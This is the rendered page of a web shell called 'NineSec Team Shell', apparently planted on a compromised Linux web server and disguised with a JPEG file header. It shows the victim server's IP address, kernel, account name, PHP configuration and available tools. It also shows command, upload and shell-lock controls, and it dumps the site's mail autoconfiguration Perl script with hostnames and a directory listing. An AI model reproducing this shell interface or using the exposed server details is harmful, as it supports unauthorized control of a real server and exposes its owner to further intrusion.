�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0750) :  /home/readytorun/Maildir/../cgi-bin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/Maildir/../cgi-bin/autoconfig.cgi
#!/usr/bin/perl
# This script gets copied to each domain's CGI directory to output the
# correct SMTP and IMAP server details.

# For internal version checking
$AUTOCONFIG_VERSION = 1.0;

# These variables get replaced when the script is copied
$OWNER = "";
$USER = 'readytorun';
$SMTP_HOST = 'mail.readytorun.it';
$SMTP_PORT = '587';
$SMTP_TYPE = 'STARTTLS';
$SMTP_SSL = 'yes';
$SMTP_ENC = 'password-cleartext';
$IMAP_HOST = 'mail.readytorun.it';
$IMAP_PORT = '993';
$IMAP_TYPE = 'SSL';
$IMAP_SSL = 'yes';
$IMAP_ENC = 'password-cleartext';
$PREFIX = 'readytorun';
$STYLE = '6';

sub error_exit
{
print "Content-type: text/plain\n\n";
print @_,"\n";
exit(0);
}

# Get email address parameter
if ($ENV{'QUERY_STRING'} =~ /emailaddress=([^&]+)/) {
	# Thunderbird style
	$email = $1;
	$email =~ s/%(..)/pack("c",hex($1))/ge;
	($mailbox, $SMTP_DOMAIN) = split(/\@/, $email);
	$mailbox && $SMTP_DOMAIN ||
	    &error_exit("emailaddress parameter is not in user@domain format");
	}
elsif ($ENV{'REQUEST_METHOD'} eq 'POST') {
	# Outlook style
	read(STDIN, $buf, $ENV{'CONTENT_LENGTH'});
	$buf =~ /<EMailAddress>([^@<>]+)@([^<>]+)<\/EMailAddress>/i ||
		&error_exit("EMailAddress missing from input XML");
	($mailbox, $SMTP_DOMAIN) = ($1, $2);
	$email = $1."\@".$2;
	}
else {
	&error_exit("Missing emailaddress parameter");
	}

# Work out the full username
if ($mailbox eq $USER) {
	# Domain owner, so no need for prefix
	$SMTP_LOGIN = $USER;
	}
elsif ($STYLE == 0) {
	$SMTP_LOGIN = $mailbox.".".$PREFIX;
	}
elsif ($STYLE == 1) {
	$SMTP_LOGIN = $mailbox."-".$PREFIX;
	}
elsif ($STYLE == 2) {
	$SMTP_LOGIN = $PREFIX.".".$mailbox;
	}
elsif ($STYLE == 3) {
	$SMTP_LOGIN = $PREFIX."-".$mailbox;
	}
elsif ($STYLE == 4) {
	$SMTP_LOGIN = $mailbox."_".$PREFIX;
	}
elsif ($STYLE == 5) {
	$SMTP_LOGIN = $PREFIX."_".$mailbox;
	}
elsif ($STYLE == 6) {
	$SMTP_LOGIN = $email;
	}
elsif ($STYLE == 7) {
	$SMTP_LOGIN = $mailbox."\%".$PREFIX;
	}
else {
	&error_exit("Unknown style $STYLE");
	}
$MAILBOX = $mailbox;

# Output the XML
print "Content-type: text/xml\n\n";
if ($ENV{'SCRIPT_NAME'} =~ /autodiscover.xml/i) {
	# Outlook
	print <<EOF;
<?xml version="1.0" encoding="utf-8" ?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">
  <Response xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Account>
      <AccountType>email</AccountType>
      <Action>settings</Action>
      <Protocol>
 <Type>IMAP</Type>
        <TTL>24</TTL>
 <Server>webmail1.poliedrostudio.it</Server>
        <Port>993</Port>
 <LoginName>$SMTP_LOGIN</LoginName>
        <DomainRequired>off</DomainRequired>
        <SSL>yes</SSL>
 <AuthRequired>on</AuthRequired>
      </Protocol>
      <Protocol>
 <Type>SMTP</Type>
        <TTL>24</TTL>
 <Server>webmail1.poliedrostudio.it</Server>
        <Port>465</Port>
 <LoginName>$SMTP_LOGIN</LoginName>
        <DomainRequired>off</DomainRequired>
        <SSL>yes</SSL>
 <AuthRequired>on</AuthRequired>
      </Protocol>
    </Account>
  </Response>
</Autodiscover>
EOF
	}
else {
	# Thunderbird
	print <<EOF;
<?xml version="1.0" encoding="UTF-8"?>
 
<clientConfig version="1.1">
  <emailProvider id="$SMTP_DOMAIN">
    <domain>$SMTP_DOMAIN</domain>
    <displayName> Email</displayName>
    <displayShortName></displayShortName>
    <incomingServer type="imap">
      <hostname>webmail1.poliedrostudio.it</hostname>
      <port>993</port>
      <socketType>SSL</socketType>
      <authentication>$IMAP_ENC</authentication>
      <username>$SMTP_LOGIN</username>
    </incomingServer>
    <incomingServer type="pop3">
      <hostname>webmail1.poliedrostudio.it</hostname>
      <port>$POP3_PORT</port>
      <socketType>SSL</socketType>
      <authentication>$POP3_ENC</authentication>
      <username>$SMTP_LOGIN</username>
    </incomingServer>
    <outgoingServer type="smtp">
      <hostname>webmail1.poliedrostudio.it</hostname>
      <port>465</port>
      <socketType>SSL</socketType>
      <authentication>$SMTP_ENC</authentication>
      <username>$SMTP_LOGIN</username>
    </outgoingServer>
  </emailProvider>
</clientConfig>
EOF
	}


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 17 2025 3:54:19
readytorun
0750
autoconfig.cgi
4.031 KB
April 17 2023 10:23:09
readytorun
0755

NineSec Team - 2022